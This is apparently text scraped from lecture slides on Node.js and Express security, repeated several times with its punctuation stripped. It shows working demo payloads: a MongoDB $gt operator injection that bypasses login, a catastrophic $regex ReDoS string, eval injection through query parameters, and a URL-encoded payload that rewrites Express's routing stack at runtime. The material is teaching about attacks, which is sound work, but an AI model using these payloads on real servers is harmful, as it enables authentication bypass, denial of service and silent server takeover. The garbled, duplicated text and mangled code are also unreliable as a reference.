a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
